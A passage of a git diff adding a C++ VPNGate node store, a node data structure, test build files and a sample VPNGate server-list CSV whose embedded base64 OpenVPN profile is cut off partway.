" / "port " out of a +// decoded .ovpn profile. +std::vector extract_remotes(std::string_view profile); + +} // namespace ovg::vpngate diff --git a/src/vpngate/node.h b/src/vpngate/node.h new file mode 100644 index 0000000..2dcddf7 --- /dev/null +++ b/src/vpngate/node.h @@ -0,0 +1,62 @@ +// A VPNGate node, as advertised by the public API plus what we derive from the +// embedded OpenVPN profile. +// +// Everything under `api` is measured by VPNGate's own infrastructure, not by +// us, so it is only a prior. See docs/FEASIBILITY.md §3.3. +#pragma once + +#include +#include +#include + +namespace ovg::vpngate { + +enum class Proto { Udp, Tcp }; + +inline const char *proto_name(Proto p) { return p == Proto::Udp ? "udp" : "tcp"; } + +// One "remote" line from the profile. +struct Remote { + std::string host; + uint16_t port = 0; + Proto proto = Proto::Tcp; +}; + +// Metrics straight out of the CSV. Absent fields stay at their sentinel. +struct ApiMetrics { + int64_t score = 0; // VPNGate's own composite quality score + int ping_ms = -1; // -1 when the column was empty + int64_t speed_bps = 0; // advertised line speed, shared across sessions + int num_sessions = 0; // concurrent users right now + int64_t uptime_ms = 0; + int64_t total_users = 0; + int64_t total_traffic = 0; +}; + +struct Node { + std::string host_name; // e.g. "public-vpn-113" + std::string ip; // advertised IPv4 + std::string country_long; // "Japan" + std::string country_short; // "JP" + std::string log_type; + std::string operator_name; + std::string message; + + ApiMetrics api; + + // Decoded .ovpn profile, verbatim. Kept because openvpn3 wants the whole + // thing (inline //), not just the parsed fields. + std::string profile; + std::vector remotes; + + // Stable identity for history/blacklist bookkeeping. HostName alone is not + // unique enough across refreshes; IP alone churns for dynamic-IP volunteers. + std::string id() const { return host_name + "@" + ip; } + + bool has_udp() const; + bool has_tcp() const; + // Preferred remote given a protocol preference; falls back to whatever exists. + const Remote *pick_remote(bool prefer_udp) const; +}; + +} // namespace ovg::vpngate diff --git a/src/vpngate/node_store.cpp b/src/vpngate/node_store.cpp new file mode 100644 index 0000000..f9f61a9 --- /dev/null +++ b/src/vpngate/node_store.cpp @@ -0,0 +1,234 @@ +#include "vpngate/node_store.h" + +#include + +#include +#include +#include + +#include "common/error.h" +#include "common/http_get.h" +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::vpngate { +namespace { + +constexpr const char *kMod = "vpngate"; + +auto *m_refresh_ok = metrics::counter("ovg_vpngate_refresh_success_total", + "Successful node list refreshes"); +auto *m_refresh_fail = metrics::counter("ovg_vpngate_refresh_failure_total", + "Failed node list refreshes"); +auto *m_nodes = metrics::gauge("ovg_vpngate_nodes", + "Nodes in the current snapshot"); + +} // namespace + +NodeStore::NodeStore(asio::io_context &io, VpnGateConfig cfg) + : io_(io), cfg_(std::move(cfg)), timer_(io) { + nodes_ = std::make_shared(); +} + +NodeStore::~NodeStore() { stop(); } + +void NodeStore::start() { + // A stale cache is far better than no nodes: it lets us bring a tunnel up + // while the network fetch is still in flight (or if VPNGate is unreachable). + std::string body; + if (load_cache(&body)) { + ParseResult pr; + std::string err; + if (parse_node_list(body, &pr, &err)) { + auto list = std::make_shared(std::move(pr.nodes)); + { + std::lock_guard lk(mu_); + nodes_ = list; + } + m_nodes->set(static_cast(list->size())); + LOG_INFO(kMod, "loaded {} nodes from cache {}", list->size(), + cfg_.cache_path); + } else { + LOG_WARN(kMod, "cache at {} is unusable: {}", cfg_.cache_path, err); + } + } + + refresh_now(nullptr); + schedule_next(); +} + +void NodeStore::stop() { + stopped_.store(true); + std::error_code ignored; + timer_.cancel(ignored); +} + +void NodeStore::schedule_next() { + if (stopped_.load()) return; + timer_.expires_after(cfg_.refresh_interval); + timer_.async_wait([this](std::error_code ec) { + if (ec || stopped_.load()) return; + refresh_now(nullptr); + schedule_next(); + }); +} + +void NodeStore::refresh_now(RefreshHandler handler) { + { + std::lock_guard lk(mu_); + if (fetch_in_flight_) { + // Coalesce: a second caller waits on the fetch already running instead of + // hammering the API. + if (handler) waiters_.push_back(std::move(handler)); + return; + } + fetch_in_flight_ = true; + if (handler) waiters_.push_back(std::move(handler)); + } + try_urls(0, nullptr); +} + +void NodeStore::try_urls(size_t index, RefreshHandler handler) { + if (stopped_.load()) { + complete(make_error_code(Error::Cancelled), 0); + return; + } + if (index >= cfg_.api_urls.size()) { + LOG_WARN(kMod, "all {} API endpoints failed", cfg_.api_urls.size()); + m_refresh_fail->inc(); + complete(make_error_code(Error::UpstreamFailure), 0); + return; + } + + http::Options opts; + opts.timeout = cfg_.http_timeout; + opts.max_bytes = cfg_.max_response_bytes; + + const std::string &url = cfg_.api_urls[index]; + http::async_get(io_, url, opts, + [this, index, url](std::error_code ec, http::Response resp) { + if (ec) { + LOG_WARN(kMod, "fetch {} failed: {}", url, ec.message()); + try_urls(index + 1, nullptr); + return; + } + if (resp.status != 200) { + LOG_WARN(kMod, "fetch {} returned HTTP {}", url, + resp.status); + try_urls(index + 1, nullptr); + return; + } + LOG_DEBUG(kMod, "fetched {} bytes from {}", + resp.body.size(), url); + on_body(std::move(resp.body), /*from_cache=*/false, nullptr); + }); +} + +void NodeStore::on_body(std::string body, bool from_cache, + RefreshHandler /*handler*/) { + ParseResult pr; + std::string err; + if (!parse_node_list(body, &pr, &err)) { + LOG_WARN(kMod, "parse failed: {}", err); + m_refresh_fail->inc(); + complete(make_error_code(Error::ProtocolError), 0); + return; + } + + const size_t count = pr.nodes.size(); + auto list = std::make_shared(std::move(pr.nodes)); + { + std::lock_guard lk(mu_); + nodes_ = list; + last_success_ = std::chrono::system_clock::now(); + } + m_nodes->set(static_cast(count)); + m_refresh_ok->inc(); + + if (!from_cache) save_cache(body); + + LOG_INFO(kMod, "node list refreshed: {} usable nodes", count); + complete({}, count); +} + +void NodeStore::complete(std::error_code ec, size_t count) { + std::vector waiters; + { + std::lock_guard lk(mu_); + fetch_in_flight_ = false; + waiters.swap(waiters_); + } + for (auto &w : waiters) { + if (w) asio::post(io_, [w = std::move(w), ec, count] { w(ec, count); }); + } +} + +bool NodeStore::load_cache(std::string *body) { + if (cfg_.cache_path.empty()) return false; + + std::error_code ec; + const auto path = std::filesystem::path(cfg_.cache_path); + if (!std::filesystem::exists(path, ec)) return false; + + struct stat st{}; + if (::stat(cfg_.cache_path.c_str(), &st) != 0) return false; + + const auto age = std::chrono::system_clock::now() - + std::chrono::system_clock::from_time_t(st.st_mtime); + if (age > cfg_.cache_max_age) { + LOG_INFO(kMod, "cache {} is too old ({}h), ignoring", cfg_.cache_path, + std::chrono::duration_cast(age).count()); + return false; + } + + std::ifstream in(cfg_.cache_path, std::ios::binary); + if (!in) return false; + std::ostringstream ss; + ss << in.rdbuf(); + *body = ss.str(); + return !body->empty(); +} + +void NodeStore::save_cache(const std::string &body) { + if (cfg_.cache_path.empty()) return; + + std::error_code ec; + const auto path = std::filesystem::path(cfg_.cache_path); + if (path.has_parent_path()) + std::filesystem::create_directories(path.parent_path(), ec); + + // Write-then-rename so a crash mid-write cannot leave a truncated cache that + // we would happily parse on the next start. + const std::string tmp = cfg_.cache_path + ".tmp"; + { + std::ofstream out(tmp, std::ios::binary | std::ios::trunc); + if (!out) { + LOG_WARN(kMod, "cannot write cache {}", tmp); + return; + } + out.write(body.data(), static_cast(body.size())); + if (!out) { + LOG_WARN(kMod, "short write to cache {}", tmp); + return; + } + } + std::filesystem::rename(tmp, path, ec); + if (ec) LOG_WARN(kMod, "cannot rename cache into place: {}", ec.message()); +} + +NodeListPtr NodeStore::snapshot() const { + std::lock_guard lk(mu_); + return nodes_; +} + +bool NodeStore::has_nodes() const { + std::lock_guard lk(mu_); + return nodes_ && !nodes_->empty(); +} + +std::chrono::system_clock::time_point NodeStore::last_success() const { + std::lock_guard lk(mu_); + return last_success_; +} + +} // namespace ovg::vpngate diff --git a/src/vpngate/node_store.h b/src/vpngate/node_store.h new file mode 100644 index 0000000..44ea909 --- /dev/null +++ b/src/vpngate/node_store.h @@ -0,0 +1,76 @@ +// Owns the node list: periodic refresh from the API, disk cache, and +// thread-safe snapshot access. +// +// Snapshots are handed out as shared_ptr> rather than by +// value: each Node carries a ~10 KB profile, so copying the whole list on every +// read would be wasteful. Readers hold a snapshot for as long as they need it +// while a refresh swaps in a new one underneath. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "vpngate/csv_parser.h" + +namespace ovg::vpngate { + +using NodeList = std::vector; +using NodeListPtr = std::shared_ptr; + +class NodeStore { + public: + NodeStore(asio::io_context &io, VpnGateConfig cfg); + ~NodeStore(); + + NodeStore(const NodeStore &) = delete; + NodeStore &operator=(const NodeStore &) = delete; + + // Handler receives the node count on success. + using RefreshHandler = std::function; + + // Loads the disk cache (if fresh enough) so callers have something to work + // with before the first network fetch completes, then starts the periodic + // refresh timer. + void start(); + void stop(); + + // Forces a refresh now. Concurrent calls are coalesced onto the in-flight + // fetch rather than issuing duplicate requests. + void refresh_now(RefreshHandler handler); + + // Never null; may be empty before the first successful load. + NodeListPtr snapshot() const; + + bool has_nodes() const; + std::chrono::system_clock::time_point last_success() const; + + private: + void schedule_next(); + void try_urls(size_t index, RefreshHandler handler); + void on_body(std::string body, bool from_cache, RefreshHandler handler); + bool load_cache(std::string *body); + void save_cache(const std::string &body); + void complete(std::error_code ec, size_t count); + + asio::io_context &io_; + VpnGateConfig cfg_; + asio::steady_timer timer_; + + mutable std::mutex mu_; + NodeListPtr nodes_; + std::chrono::system_clock::time_point last_success_{}; + std::vector waiters_; + bool fetch_in_flight_ = false; + + std::atomic stopped_{false}; +}; + +} // namespace ovg::vpngate diff --git a/tests/CMakeLists.txt b/tests/CMakeLists.txt new file mode 100644 index 0000000..e3b3a2a --- /dev/null +++ b/tests/CMakeLists.txt @@ -0,0 +1,29 @@ +set(OVG_TEST_SOURCES + harness.cpp + test_common.cpp + test_csv_parser.cpp + test_selector.cpp + test_http_get.cpp + test_ovpn.cpp + test_egress.cpp + test_socks5.cpp + test_health.cpp) + +# The netstack only exists in a tunnel build (see src/CMakeLists.txt), so its +# tests come and go with it rather than being #ifdef'd to an empty file. +if(OVG_WITH_TUNNEL) + list(APPEND OVG_TEST_SOURCES test_netstack.cpp) +endif() + +add_executable(ovg_tests ${OVG_TEST_SOURCES}) + +target_include_directories(ovg_tests PRIVATE ${CMAKE_CURRENT_SOURCE_DIR}) +target_compile_definitions(ovg_tests PRIVATE + OVG_TEST_DATA_DIR="${CMAKE_CURRENT_SOURCE_DIR}/data") +target_link_libraries(ovg_tests PRIVATE + ovg_selector ovg_ovpn ovg_egress ovg_socks5 ovg_health) +if(OVG_WITH_TUNNEL) + target_link_libraries(ovg_tests PRIVATE ovg_netstack) +endif() + +add_test(NAME unit COMMAND ovg_tests) diff --git a/tests/data/vpngate_sample.csv b/tests/data/vpngate_sample.csv new file mode 100644 index 0000000..58ef146 --- /dev/null +++ b/tests/data/vpngate_sample.csv @@ -0,0 +1,99 @@ +*vpn_servers +#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,Message,OpenVPN_ConfigData_Base64 +public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,5448064971,17536206,1087724781115552,2weeks,Daiyuu Nobori_ Japan. Academic Use Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjEwMCA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlD